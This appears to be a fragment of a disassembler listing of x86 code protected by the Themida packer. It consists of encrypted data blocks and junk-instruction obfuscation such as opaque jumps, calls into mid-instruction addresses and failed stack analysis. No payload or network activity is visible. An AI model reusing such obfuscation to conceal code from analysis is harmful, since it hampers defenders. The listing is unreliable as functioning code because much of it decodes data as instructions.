		dd 5B47D463h, 45D42C6Eh, 7D211BF9h, 0D3B19E83h,	46433015h
		dd 0B3D6C3A8h, 2F6B583Dh, 83FFECD1h, 0F4938065h, 632411F6h
		dd 0D9BBA88Dh, 836F3E23h, 2C8904ECh, 20176824h,	0C890000h
		dd 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h, 53243489h
		dd 0E3B74BBh, 68F3814Ch, 4B2BFC06h, 0BD55D3F7h,	9033D750h
		dd 895DEB29h, 8B545BD9h, 0C4832434h, 8BB5304h, 1000000h
		dd 8B0B89F3h, 0C481241Ch, 4, 5E2434FFh,	8B04C483h, 8956240Ch
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 8F06E95Ch, 0E13FFF7h
		dd 4DC7E66Eh, 2821720Dh, 0BF2D6DAh, 0EF01B820h,	0C50307D9h
		dd 0E3BDE0FFh, 0D888228Ch, 5C8D6B0Dh, 0F0301F84h, 0B27B6670h
		dd 0AF657BFBh, 0CA8268D9h, 1C632CBDh, 54D643A5h, 32C90F12h
		dd 11E55D74h, 0E1295BDFh, 0C1D57AD5h, 0B933A06h, 74667F6Ah
		dd 47EC5C3Bh, 0E8953559h, 875F61F8h, 7B8D725Dh,	0ED2D0BE4h
		dd 9E3E130Eh, 467548D7h, 156D7F8Dh, 0AFCF1298h,	505046A5h
		dd 5E58FAB4h, 118D0FF5h, 0E8000000h, 0Ah, 0A8A69ED3h, 74C3153Bh
		dd 5FF92862h, 910DCA81h, 8B664B60h, 665F50D0h, 288AE281h
		dd 12E960h, 18760000h, 0E8E54E73h, 6AA14268h, 0E3B94210h
		dd 8A851FC5h, 66D18B60h, 6161DA8Bh, 66D2BF0Fh, 6634EEBFh
		dd 110D981h, 0AE952F9h,	9B000000h, 40921B5h, 0E48766BCh
		dd 66605B3Bh, 1BF6EB81h, 0BF0F61FCh, 0BB6653DFh, 805F417Bh
		dd 0D88BD4DEh, 0EE9h, 1A8DC00h,	1A03E192h, 554051C9h, 51DC28A3h
		dd 0C78B665Bh, 81BE6660h, 0D78B6628h, 18D0F61h,	0F5000000h
		dd 10E8h, 20C2EB00h, 0DB1B960h,	0DE9D32Eh, 79FE43D6h, 5D4BBB1Fh
		dd 0BA5B176Ah, 2D2AF34Bh, 6E9h,	2E687400h, 0E9596000h
		dd 7, 1DEB0C53h, 0F51E7B6h, 0E86h, 9E900h, 0D25D0000h
		dd 1C018A8Ch, 0B9CD984Eh, 54E3B304h, 80D38A60h,	0F61E5CFh
		dd 158Dh, 61606000h, 0CE9h, 8A979200h, 2826ACBAh, 790D0A69h
		dd 8AF8614Ch, 8B61B4D4h, 0BAFBBCAh, 8BBE7E0Eh, 0E913A7FAh
		dd 13h,	0BC7758F9h, 2BF56DEBh, 439CA329h, 0E2EDAF7Ch, 56B45EB6h
		dd 860F60h, 61000000h, 0AF38158h, 0F169A30h, 0B866C9B7h
		dd 5F5080EDh, 12E9h, 47620D00h,	0E683A65Bh, 13F65802h
		dd 1CD4284Bh, 0E9FB5F93h, 0Bh, 0AC0BE11h, 706A81AEh, 0E94C0979h
		dd 14h,	7CA0AC1Ch, 9B372C1Ah, 96711B1Fh, 78D93A77h, 2D63EF23h
		dd 870F53h, 5A000000h, 6E8h, 0E59ACE00h, 0FF171BCh, 383h
		dd 0C9BF0F00h, 17DF8158h, 60429FC9h, 0E9F38B66h, 7, 0A6FBFD41h
		dd 61C37D23h, 6E9F58Ah,	5A000000h, 0CA240A96h, 0C2805320h
		dd 0E8815A85h
		dd 66599CB4h, 0DFB593BFh, 9E82Ah, 58E90000h, 2F427687h
		dd 0F94BA22h, 389h, 0C8BF0F00h,	0AE95Ah, 0F9680000h, 0F0E22F82h
		dd 0A7BCD393h, 0ACDA81F5h, 0E9796634h, 11h, 86F23323h
		dd 6E6EC678h, 676FBE06h, 582490D3h, 0D7D78138h,	0E93DA762h
		dd 12h,	0FD9CE5BAh, 5E0AD0E8h, 0B738FEA0h, 49948C84h, 6E8D3CAh
		dd 0DC000000h, 8822A560h, 81665028h, 59862BDEh,	0F18B6659h
		dd 0A8DDD881h, 91BE3A0Eh, 664F6B00h, 8B57F181h,	42BEC38Bh
		dd 666AE7BBh, 0E9EE4DB9h, 12h, 7EDF5284h, 0E5D8CE2Fh, 0C31278F2h
		dd 737A608Bh, 0FF58490h, 0D84h,	8D0F6000h, 0
; ---------------------------------------------------------------------------
		mov	eax, 6C45FABBh
		popa
		mov	di, 818Dh
		pusha
		jmp	loc_6158F4
; ---------------------------------------------------------------------------
		db 90h
		db 8, 0F7h, 0BDh
		dd 0E684C168h, 0E59F4E8Dh
; ---------------------------------------------------------------------------


loc_6158F4:				; CODE XREF: Themida_:006158E3j
		or	edi, 8E56032h
		popa
		call	sub_61590F
		repne daa
		xchg	eax, edi
		leave
		xchg	eax, esp
		aam	68h
		mov	gs, [ebx+51h]
; ---------------------------------------------------------------------------
		dw 0CCF2h
		db 0CDh, 0E5h, 95h

; =============== S U B	R O U T	I N E =======================================



sub_61590F	proc near		; CODE XREF: Themida_:006158FBp
		push	ecx
		sub	si, 903Ch
		pop	ebx
		pop	esi
		mov	esi, edi
		adc	edx, 157C1837h
		mov	edi, 4E96BA8Ah
		mov	eax, 523905CEh
		jo	loc_615934
		push	ecx
		or	ch, 99h
		pop	ecx


loc_615934:				; CODE XREF: sub_61590F+1Aj
		jns	loc_61593D
		movsx	edi, si


loc_61593D:				; CODE XREF: sub_61590F:loc_615934j
		mov	edi, 5077BA5Ah
		call	sub_61594F
		daa
		db	3Eh
		dec	edi
		xchg	eax, edx
		iret
sub_61590F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0F4h, 29h, 66h

; =============== S U B	R O U T	I N E =======================================



sub_61594F	proc near		; CODE XREF: sub_61590F+33p
		push	edi
		pusha
		popa
		pop	ecx
		pop	ebx
		sbb	si, 0E160h
		mov	cl, 4Ah
		jnz	$+6
		jl	loc_61596D
		push	eax
		mov	bx, 34E6h
		pop	eax


loc_61596D:				; CODE XREF: sub_61594F+12j
		jmp	loc_61597E
; ---------------------------------------------------------------------------
		dw 8DACh
		dd 782ED02Ch, 0C1E854DEh
; ---------------------------------------------------------------------------
		add	al, 34h


loc_61597E:				; CODE XREF: sub_61594F:loc_61596Dj
		push	esi
		pop	ecx
		mov	bh, 69h
		movzx	ebx, ax
		adc	edi, 470AD608h
		jmp	loc_6159A3
; ---------------------------------------------------------------------------
		dd 0C959CFCDh, 0A86AE916h, 9317482Fh, 7119BEA8h
		db 84h,	96h, 8Ch
; ---------------------------------------------------------------------------


loc_6159A3:				; CODE XREF: sub_61594F+3Cj
		jle	loc_6159AA
		stc


loc_6159AA:				; CODE XREF: sub_61594F:loc_6159A3j
		jmp	loc_6159C2
; ---------------------------------------------------------------------------
		db 0CDh
		dd 1A3BC6Fh, 0F42AAAFBh, 0E0C0341Ah, 47351328h
; ---------------------------------------------------------------------------
		and	al, 0B1h


loc_6159C2:				; CODE XREF: sub_61594F:loc_6159AAj
		js	loc_6159D9
		jmp	loc_6159D9
; ---------------------------------------------------------------------------
		db 76h,	82h, 16h
		dd 832FA93Ch, 648F1139h
		db 0D1h
; ---------------------------------------------------------------------------


loc_6159D9:				; CODE XREF: sub_61594F:loc_6159C2j
					; sub_61594F+79j
		mov	di, 0FAC8h
		mov	ax, 1411h
		jmp	loc_6159F6
; ---------------------------------------------------------------------------
		dw 41FEh
		dd 89A87431h, 79E427Fh,	39FFAF3Eh
		db 55h,	0D2h
; ---------------------------------------------------------------------------


loc_6159F6:				; CODE XREF: sub_61594F+92j
		jmp	loc_615A03
; ---------------------------------------------------------------------------
		db 0A5h
		dd 6DF59743h
; ---------------------------------------------------------------------------
		dec	edi
		dec	ebx
		xchg	eax, esp


loc_615A03:				; CODE XREF: sub_61594F:loc_6159F6j
		mov	ch, al
		js	$+6
		mov	cl, bh
		movzx	edi, di
		ja	loc_615A26
		jmp	loc_615A26
; ---------------------------------------------------------------------------
		db 63h
		dd 0FB4DBD3Ah, 0F35B2256h
		db 0F1h, 8
; ---------------------------------------------------------------------------


loc_615A26:				; CODE XREF: sub_61594F+C1j
					; sub_61594F+C7j
		adc	si, 8BBFh
		push	edx
		mov	cl, al
		pop	edi
		adc	ebx, 514DB6A8h
		add	dl, 9Fh
		mov	di, cx
		jo	loc_615A44
		movsx	esi, si


loc_615A44:				; CODE XREF: sub_61594F+ECj
		pusha
		jo	loc_615A51
		jge	$+6


loc_615A51:				; CODE XREF: sub_61594F+F6j
		jmp	loc_615A65
; ---------------------------------------------------------------------------
		dw 14A5h
		dd 0E194C4D6h, 4EF7836Dh, 0F6D50A81h
; ---------------------------------------------------------------------------
		push	esi


loc_615A65:				; CODE XREF: sub_61594F:loc_615A51j
		popa
		mov	bl, al
		jmp	loc_615A7A
; ---------------------------------------------------------------------------
		db 0C7h, 7Fh, 30h
		dd 24EF4E9Dh, 0DCDFC059h
; ---------------------------------------------------------------------------


loc_615A78:				; CODE XREF: sub_615A84+28j
		push	es
; ---------------------------------------------------------------------------
		db 8Ch
; ---------------------------------------------------------------------------


loc_615A7A:				; CODE XREF: sub_61594F+119j
		call	sub_615A84
		retn	1207h
sub_61594F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		or	cl, ch

; =============== S U B	R O U T	I N E =======================================



sub_615A84	proc near		; CODE XREF: sub_61594F:loc_615A7Ap
		movzx	eax, si
		pop	edx
		mov	bh, 31h
		sub	si, 133h
		or	eax, 5755A1B9h
		push	ebx
		movsx	edi, cx
		pop	edx
		mov	bl, al
		jbe	loc_615ACF
		call	sub_615ABA
		js	short loc_615AB7
		test	[ebx], esi
		dec	esp
		jb	short loc_615A78
		adc	ch, cs:[ecx-44h]
		adc	eax, 0FE74EFDEh


loc_615AB7:				; CODE XREF: sub_615A84+23j
		movsb
		sub	esi, esi
sub_615A84	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_615ABA	proc near		; CODE XREF: sub_615A84+1Ep
		jmp	sub_615ACE
sub_615ABA	endp

; ---------------------------------------------------------------------------
		db 0EBh
		dd 9510B373h, 0CD0BA59Bh, 0AC23473Ah
		db 0D9h, 6Ah

; =============== S U B	R O U T	I N E =======================================



sub_615ACE	proc near		; CODE XREF: sub_615ABAj
		pop	ebx


loc_615ACF:				; CODE XREF: sub_615A84+18j
		call	near ptr sub_615ADE
		xchg	eax, edi
		not	edx
		db	2Eh
		push	77h
		pop	esi
		mov	edi, ebp
		dec	ebp
sub_615ACE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_615ADE	proc far		; CODE XREF: sub_615ACE:loc_615ACFp
		adc	edx, 325D5191h
		pop	ecx
		movzx	ecx, bx
		mov	ax, si
		movzx	edi, ax
		jmp	loc_615AF9
; ---------------------------------------------------------------------------
		db 0A6h
		dd 0BE276309h
; ---------------------------------------------------------------------------
		sahf


loc_615AF9:				; CODE XREF: sub_615ADE+10j
		adc	dl, 39h
		movsx	edi, bx
		and	bh, 0B1h
		mov	eax, 30D9649Dh
		movsx	ecx, cx
		adc	edx, 2BD7C88h
		pusha
		jmp	loc_615B1D
; ---------------------------------------------------------------------------
		dw 0E56Bh
; ---------------------------------------------------------------------------
		mov	ds:0E0C46238h, eax


loc_615B1D:				; CODE XREF: sub_615ADE+33j
		mov	eax, edi
		popa
		movsx	edi, cx
		sbb	ax, 4DADh
		mov	ecx, edi
		movzx	ecx, dx
		mov	edi, 1CDEC7Ah
		push	edx
		mov	cx, di
		pop	edx
		mov	bl, dl
		push	edx
		adc	esi, 4F6486FAh
		pop	eax
		mov	bx, 7701h
		mov	esi, edi
		call	sub_615B55
		mov	esp, ebx
		pop	edi
		retf
sub_615ADE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 90C1BC55h
; ---------------------------------------------------------------------------
		inc	edx

; =============== S U B	R O U T	I N E =======================================



sub_615B55	proc near		; CODE XREF: sub_615ADE+69p
		sub	di, 0A79Ah
		pop	ecx
		push	ebx
		mov	di, cx
		pop	eax
		mov	ebx, esi
		jnb	loc_615B6A
		mov	eax, esi


loc_615B6A:				; CODE XREF: sub_615B55+Dj
		movzx	eax, bx
		jo	loc_615B77
		push	edi
		pusha
		popa
		pop	ebx


loc_615B77:				; CODE XREF: sub_615B55+18j
		movzx	edx, si
		mov	si, ax
		stc
		adc	ah, 0CEh
		jmp	loc_615B9A
; ---------------------------------------------------------------------------
		dw 6446h
		dd 2F2BA31Eh, 9DE03B35h, 95C45D7Eh, 6115A1A7h
		db 52h,	0BAh
; ---------------------------------------------------------------------------


loc_615B9A:				; CODE XREF: sub_615B55+2Cj
		pusha
		mov	si, 0D954h
		mov	si, cx
		popa
		mov	dx, 3404h
		sub	ax, 422Bh
		jle	loc_615BBA
		jz	loc_615BBA
		pusha
		popa


loc_615BBA:				; CODE XREF: sub_615B55+57j
					; sub_615B55+5Dj
		pusha
		adc	edx, 0E06ED5Eh
		mov	dx, 9C9h
		popa
		push	edx
		push	eax
		pusha
		popa
		pop	edx
		pop	eax
		push	ebx
		add	edi, 93FCC53h
		pop	edx
		mov	edi, 1C8AFCC6h
		push	edi
		mov	ch, 2Bh
		pop	edi
		js	loc_615BE4
		cld


loc_615BE4:				; CODE XREF: sub_615B55+88j
		mov	bx, si
		push	edx
		push	ecx
		jg	$+6
		pop	edx
		pop	edx
		jmp	loc_615C04
; ---------------------------------------------------------------------------
		dw 0E381h
		dd 30DC514Dh, 0DB26B1F0h, 294AC524h
; ---------------------------------------------------------------------------


loc_615C04:				; CODE XREF: sub_615B55+9Cj
		movsx	ebx, si
		mov	di, ax
		mov	dl, ah
		mov	edx, 4F9A38AAh
		mov	eax, edi
		mov	esi, edi
		pusha
		mov	cx, di
		popa
		add	bh, 9Bh
		call	near ptr loc_615C29+5 ;	CODE XREF: sub_615C4C+19j
		sahf
		ror	byte ptr [edi],	cl
		out	dx, al
		mov	ebp, ebp
		inc	esi


loc_615C29:				; CODE XREF: sub_615B55+C8p
		call	far ptr	8B66h:0E77D1FEDh
sub_615B55	endp ; sp-analysis failed

		xlat
		pop	ebx
		mov	ebx, 171D4408h
		call	sub_615C4C	; CODE XREF: Themida_:00615C45j
		pop	esp
		jo	short near ptr loc_615C56+4
		inc	eax
		mov	edi, 800A2AA8h
		jg	short near ptr loc_615C37+3
		push	ebp
		adc	al, 6
		jz	short loc_615C93

; =============== S U B	R O U T	I N E =======================================



sub_615C4C	proc near		; CODE XREF: Themida_:loc_615C37p
		mov	cl, 0Ch
		pop	ecx
		sbb	al, 36h
		clc
		add	ah, 52h


loc_615C56:				; CODE XREF: Themida_:00615C3Dj
		call	near ptr loc_615C68+3
		scasb
		rcl	byte ptr [eax-2Dh], 1
		stosd
		or	eax, 5E2E5E90h
		jl	short near ptr loc_615C1D+2
		inc	edi


loc_615C68:				; CODE XREF: sub_615C4C:loc_615C56p
		xor	[edx-1D7E99C9h], eax
sub_615C4C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0C08Dh
; ---------------------------------------------------------------------------
		pop	eax
		sbb	esi, 18DF3F6h
		cmc
		or	di, 79D7h
		mov	ax, 0BB9Ch
		jmp	loc_615C8C
; ---------------------------------------------------------------------------
		dw 1191h
		dd 3B00397h
; ---------------------------------------------------------------------------


loc_615C8C:				; CODE XREF: Themida_:00615C81j
		push	edx
		jnp	$+6


loc_615C93:				; CODE XREF: Themida_:00615C4Aj
		pop	ecx
		mov	cx, bx
		call	near ptr loc_615CA5+1
		mov	[ebp-6A6FF566h], ah
		sbb	esi, [edi+29h]


loc_615CA5:				; CODE XREF: Themida_:00615C97p
		mov	bh, 5Ah
		jns	loc_615CAF
		mov	dl, 0CBh


loc_615CAF:				; CODE XREF: Themida_:00615CA7j
		mov	dx, si
		mov	ah, 1Eh
		mov	esi, eax
		mov	eax, 143E6DD6h
		jbe	loc_615CCD
		jnb	loc_615CCD
		jp	$+6


loc_615CCD:				; CODE XREF: Themida_:00615CBBj
					; Themida_:00615CC1j
		and	eax, 2C768A3Fh
		or	dl, 0Ch
		jmp	loc_615CE3
; ---------------------------------------------------------------------------
		db 31h
		db 0B6h
; ---------------------------------------------------------------------------


loc_615CDD:				; CODE XREF: Themida_:00615CFDj
		jecxz	short loc_615CF7
		push	ss
; ---------------------------------------------------------------------------
		db 0EAh, 9Eh, 3Fh
; ---------------------------------------------------------------------------


loc_615CE3:				; CODE XREF: Themida_:00615CD6j
		jmp	loc_615CF6
; ---------------------------------------------------------------------------
		dd 1DC4A54Ah, 41683D29h, 7C01EAFBh
		db 0E5h, 6Eh
; ---------------------------------------------------------------------------


loc_615CF6:				; CODE XREF: Themida_:loc_615CE3j
					; Themida_:00615D70j
		push	edx


loc_615CF7:				; CODE XREF: Themida_:loc_615CDDj
		pusha
		call	near ptr loc_615D0A+1
		jnz	short loc_615CDD
		dec	edi
		xor	dl, [esp+ebp-17h]
		rol	byte ptr [ebp+7Ch], 1
		dec	ecx
		inc	edx
		clc


loc_615D0A:				; CODE XREF: Themida_:00615CF8p
		mov	ah, 5Ah
		jle	$+6
		popa
		pop	esi
		push	esi
		jbe	loc_615D1C
		stc


loc_615D1C:				; CODE XREF: Themida_:00615D15j
		pop	edi
		mov	al, 31h
		mov	eax, ecx
		sbb	si, 8E6Ah
		push	edi
		pusha
		jo	$+6
		and	dx, 0DA29h
		popa
		pop	edi
		jmp	loc_615D47
; ---------------------------------------------------------------------------
		xor	al, 3Eh
		mov	esi, 631B2157h
		mov	ecx, 94F7B62h
		dec	edx


loc_615D47:				; CODE XREF: Themida_:00615D35j
		jmp	loc_615D55
; ---------------------------------------------------------------------------
		mov	dl, bh
		mov	edx, 54F06D3Ch
		push	0FFFFFFD5h


loc_615D55:				; CODE XREF: Themida_:loc_615D47j
		push	ecx
		call	near ptr loc_615D60+1
		test	ah, dh
		lea	ecx, [esi-61h]


loc_615D60:				; CODE XREF: Themida_:00615D56p
		in	eax, 8Ah	; DMA page register 74LS612:
					; Channel 7 (address bits 17-23)
		out	dx, eax
		pop	eax
		pop	ebx
		jz	loc_615D86
		call	sub_615D80
		jg	short loc_615CF6
		xchg	eax, esp
		and	[edx], edi
		and	esi, [ecx]
		push	es
		iret
; ---------------------------------------------------------------------------
		db 98h,	94h, 55h
		dd 0D56CD88Fh

; =============== S U B	R O U T	I N E =======================================



sub_615D80	proc near		; CODE XREF: Themida_:00615D6Bp

; FUNCTION CHUNK AT 00615DC9 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00615DFC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00615E0B SIZE 00000026 BYTES

		mov	eax, 1A692320h
		pop	ebx


loc_615D86:				; CODE XREF: Themida_:00615D65j
		or	cl, 79h
		mov	dx, di
		jb	loc_615D9D
		jmp	loc_615D9D
; ---------------------------------------------------------------------------
		mov	bh, 87h
		aas
		pop	ebx
		db	3Eh
		wait


loc_615D9D:				; CODE XREF: sub_615D80+Cj
					; sub_615D80+12j
		adc	cl, 0Ch
		call	near ptr loc_615DAD+1
		jnz	short loc_615E12
		setalc
		loope	loc_615DC9
		add	[edi+59h], ebx


loc_615DAD:				; CODE XREF: sub_615D80+20p
		mov	ecx, 4202BB56h
sub_615D80	endp ; sp-analysis failed

		out	31h, al
		pop	ecx
		pop	esi
		movzx	ecx, si
		jmp	near ptr loc_615DC9+1
; ---------------------------------------------------------------------------
		dw 0EF34h
		dd 490A8DEAh, 0B5179A90h
		db 85h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_615D80


loc_615DC9:				; CODE XREF: sub_615D80+28j
					; Themida_:00615DB9j
		test	al, 0F5h
		push	edi
		jbe	loc_615DD3
		stc


loc_615DD3:				; CODE XREF: sub_615D80+4Cj
		pop	edx
		mov	dx, 863Eh
		sbb	esi, 73601F2Bh
		mov	bh, 0BCh
		mov	di, 9F07h
		mov	al, 18h
		jl	loc_615DFC
		jmp	loc_615DFC
; END OF FUNCTION CHUNK	FOR sub_615D80
; ---------------------------------------------------------------------------
		db 0BEh, 0FFh, 7Eh
		dd 0EB56D24Fh, 0E895B7CFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_615D80


loc_615DFC:				; CODE XREF: sub_615D80+66j
					; sub_615D80+6Cj
		pusha
		pusha
		jmp	loc_615E0B
; END OF FUNCTION CHUNK	FOR sub_615D80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_615E39


loc_615E03:				; CODE XREF: sub_615E39+15j
		jz	short loc_615E47
		mov	ch, 42h
		sub	al, 0BFh
		in	al, 0F3h
; END OF FUNCTION CHUNK	FOR sub_615E39
; START	OF FUNCTION CHUNK FOR sub_615D80


loc_615E0B:				; CODE XREF: sub_615D80+7Ej
		push	ecx
		pop	ebx
		popa
		mov	cx, dx
		popa


loc_615E12:				; CODE XREF: sub_615D80+25j
		xor	cl, 8
		or	ax, 80E9h
		or	cx, 0A7A3h
		sub	dx, 0E4BDh
		pusha
		clc
		pusha
		cld
		popa
		popa
		call	sub_615E39
		jmp	short near ptr loc_615EA3+2
; END OF FUNCTION CHUNK	FOR sub_615D80
; ---------------------------------------------------------------------------
		db 2Ah,	1Eh, 29h
		dd 9D451378h
		db 71h

; =============== S U B	R O U T	I N E =======================================



sub_615E39	proc near		; CODE XREF: sub_615D80+AAp

; FUNCTION CHUNK AT 00615E03 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00615E5D SIZE 00000025 BYTES

		call	near ptr loc_615E50+1
		sub	ebx, [eax+29h]
		loop	loc_615E5D
		sal	byte ptr [ebx-78h], cl
		xchg	eax, ebx


loc_615E47:				; CODE XREF: sub_615E39:loc_615E03j
		stosd
		dec	ebp
		test	eax, 77CDBDEh
		jl	short loc_615E03


loc_615E50:				; CODE XREF: sub_615E39p
		imul	ebp, eax, 13h
sub_615E39	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
		dd 66E00000h, 0AE388E3h
; ---------------------------------------------------------------------------
		dec	edi
; START	OF FUNCTION CHUNK FOR sub_615E39


loc_615E5D:				; CODE XREF: sub_615E39+8j
		scasb
		sub	al, 6Bh
		scasd
		mov	ds:0D1A6C9C9h, al
		adc	[edi+1Ah], edx
		pop	edx
		pop	ebx
		pop	ecx
		call	loc_615E82
		sub	ah, [esi+546308BCh]
		pop	ds
		pop	edx
		test	[ecx], al
		push	esi
		fcomp	dword ptr [ebp-7FE680DAh]
; END OF FUNCTION CHUNK	FOR sub_615E39


loc_615E82:				; CODE XREF: sub_615E39+33p
		jmp	loc_615E8F
; ---------------------------------------------------------------------------
		db 44h
		dd 1DDC6C11h
		db 71h,	0C0h, 87h
; ---------------------------------------------------------------------------


loc_615E8F:				; CODE XREF: Themida_:loc_615E82j
		pop	esi
		ja	loc_615E9C
		or	ecx, 0D7C4D6Dh


loc_615E9C:				; CODE XREF: Themida_:00615E90j
		mov	dl, 9Ah
		mov	ecx, 647EE184h


loc_615EA3:				; CODE XREF: sub_615D80+AFj
		mov	bx, ax
		jmp	loc_615EBE
; ---------------------------------------------------------------------------
		db 91h
		dd 675CC060h, 3EA26276h, 168FD1Ch, 86A21A52h
; ---------------------------------------------------------------------------
		test	al, 9Bh


loc_615EBE:				; CODE XREF: Themida_:00615EA6j
		jmp	loc_615ECA
; ---------------------------------------------------------------------------
		db 89h
		dd 7F066101h
; ---------------------------------------------------------------------------
		cmp	ebp, edx


loc_615ECA:				; CODE XREF: Themida_:loc_615EBEj
		push	eax
		mov	eax, esi
		pop	eax
		jmp	loc_615EE3
; ---------------------------------------------------------------------------
		db 0B2h
		dd 0F0340A06h, 0FBF88F75h, 5DC9FE13h
		db 35h,	0E1h, 0BCh
; ---------------------------------------------------------------------------


loc_615EE3:				; CODE XREF: Themida_:00615ECEj
		call	near ptr sub_615EF8
; ---------------------------------------------------------------------------
		dd 0F3C53FB1h, 679CE7BBh, 14697A36h, 0EA22BF7Ah

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_615EF8	proc far		; CODE XREF: Themida_:loc_615EE3p
		call	near ptr sub_615F04
sub_615EF8	endp

; ---------------------------------------------------------------------------
		mov	cl, 0A0h
		retf
; ---------------------------------------------------------------------------
		dd 12BE5334h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_615F04	proc far		; CODE XREF: sub_615EF8p
		mov	dl, ah
		pop	ecx
		pop	ebx
		adc	cx, 0A9A5h
		sub	ax, 1941h
		mov	dl, bl
		or	ecx, 5B1DDD3Fh
		mov	esi, ebx
		jmp	loc_615F2D
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dw 0FC2Dh
		dd 0EA309640h, 5C9807E8h
; ---------------------------------------------------------------------------
		lahf


loc_615F2D:				; CODE XREF: sub_615F04+18j
		jmp	loc_615F3A
; ---------------------------------------------------------------------------
		pop	edi
		mov	ebx, 146D78B3h
		fcompp	st, st


loc_615F3A:				; CODE XREF: sub_615F04:loc_615F2Dj
		push	ecx
		jns	loc_615F45
		mov	bx, 5DB3h


loc_615F45:				; CODE XREF: sub_615F04+37j
		pop	ecx
		jmp	loc_615F52
; ---------------------------------------------------------------------------
		db 0DAh
; ---------------------------------------------------------------------------
		push	20E86D04h
		push	esi


loc_615F52:				; CODE XREF: sub_615F04+42j
		mov	ebx, edx
		jmp	loc_615F6C
; ---------------------------------------------------------------------------
		db 0F8h, 0, 0CAh
		dd 25FA454h, 0FEFC23D7h, 13D3D87Ch, 0DC483E36h
; ---------------------------------------------------------------------------


loc_615F6C:				; CODE XREF: sub_615F04+50j
		mov	esi, ecx
		jmp	loc_615F78
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dd 0E5702604h
; ---------------------------------------------------------------------------


loc_615F78:				; CODE XREF: sub_615F04+6Aj
		stc
		jmp	loc_615F92
; ---------------------------------------------------------------------------
		dw 0B2Bh
		dd 0ED1F5D1Bh, 27FD5592h, 569B5028h, 0E71C6802h
		db 0E7h, 8
; ---------------------------------------------------------------------------


loc_615F92:				; CODE XREF: sub_615F04+75j
		add	ax, 0CC44h
		push	ebx
		mov	si, 0C0B9h
		pop	esi
		mov	edi, 5BD0C34Bh
		push	ebx
		movsx	edx, di
		pop	edi
		add	dh, 71h
		clc
		jmp	loc_615FB5
; ---------------------------------------------------------------------------
		dd 7E057269h
; ---------------------------------------------------------------------------
		cmc


loc_615FB5:				; CODE XREF: sub_615F04+A7j
		call	sub_615FC1
sub_615F04	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	edi
		cmc
		sub	eax, 61939EF6h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_615FC1	proc near		; CODE XREF: sub_615F04:loc_615FB5p
		xor	di, 31D2h
		pop	edx
		call	near ptr loc_615FCF+2
; ---------------------------------------------------------------------------
		mov	[esi-3Fh], dl


loc_615FCF:				; CODE XREF: sub_615FC1+6p
		jmp	far ptr	0:810F570Fh
sub_615FC1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		pop	eax
		pop	edi
		pusha
		adc	edx, 672F3AC0h
		popa
		mov	si, ax
		sub	dx, 0F51Ah
		mov	si, bx
		mov	ebx, edi
		mov	edx, edi
		and	dx, 2F1Ch
		mov	di, ax
		mov	bl, dh
		mov	di, 0EF6Dh
		pusha
		jmp	loc_616016
; ---------------------------------------------------------------------------
		db 72h,	1Ah, 42h
		dd 0EF3FBBEBh, 27A8528Fh, 0D85D2AEDh
		db 0CAh, 1Ch
; ---------------------------------------------------------------------------


loc_616016:				; CODE XREF: Themida_:00616000j
		push	esi
		pop	ebx
		popa
		movzx	esi, ax
		cmc
		mov	si, 0C8E5h
		movzx	edi, ax
		mov	si, dx
		and	edx, 7AFF0384h
		call	near ptr loc_61603A+2
		xchg	eax, esi
		rcl	dword ptr [ecx+2Ah], cl
		dec	ecx
		lock mov al, 0D6h


loc_61603A:				; CODE XREF: Themida_:0061602Dp
		enter	0FFFFE9B7h, 0Dh
; ---------------------------------------------------------------------------
		dw 0
		dd 9DDD7600h, 0CF886F59h, 0E6BF9E6Ah, 0F5B8D46h, 0B866D1BFh
		dd 11E8EB54h, 2A000000h, 0DD695566h, 0E8B6F4E6h, 3CEA843h
		dd 71A0D7D9h, 5BD18A51h, 8AE68159h, 0F5CDD9Ch, 14E8FABFh
		dd 56000000h, 5CE155AEh, 738EE0B6h, 49E927E4h, 4F5F07B5h
		dd 5BD7782Dh, 3810Fh, 0D8800000h, 0DF8B6696h, 8C2FE981h
		dd 14E96C9Bh, 80000000h, 0B7F6D4CAh, 9A328D82h,	271CA8B1h
		dd 3F64ED11h, 5077C35Eh, 6E9h, 0EFE31B00h, 5B274AA3h, 0AE9h
		dd 0E1534D00h, 2F10D72h, 81A1A5A9h, 1E343C8h, 0E956602Ch
		dd 5, 0C602BCC0h, 8A615910h, 0FF83BBC8h, 820F13A8h, 0
		dd 6880F60h, 0F000000h,	89h, 3EE78000h,	0C2B70F61h, 12E8h
		dd 0A7212B00h, 94D76D4Dh, 0FE7CE4EAh, 43BA0BFCh, 66C63A42h
		dd 5830AFB9h, 80C28B66h, 0BF0F4CC9h, 90D880DAh,	0D54904B8h
		dd 0BE947h, 77D20000h, 78195D6h, 90C7532Bh, 0E952B728h
		dd 0Ch,	725ECC75h, 0B1A3EC54h, 5F6BBCF7h, 5E9h,	880F1C00h
		dd 14E9816Fh, 93000000h, 0BCA5F260h, 8BE65AB1h,	0EA64D265h
		dd 9B11AD14h, 0BE0F5861h, 12AFF263h, 0D3816660h, 0AE890D9h
		dd 12000000h, 6779F64Eh, 9E3E140Dh, 12E82Bh, 24F00000h
		dd 31B65FB8h, 0D96AF0C3h, 791F8988h, 0AAFE82CEh, 66615F59h
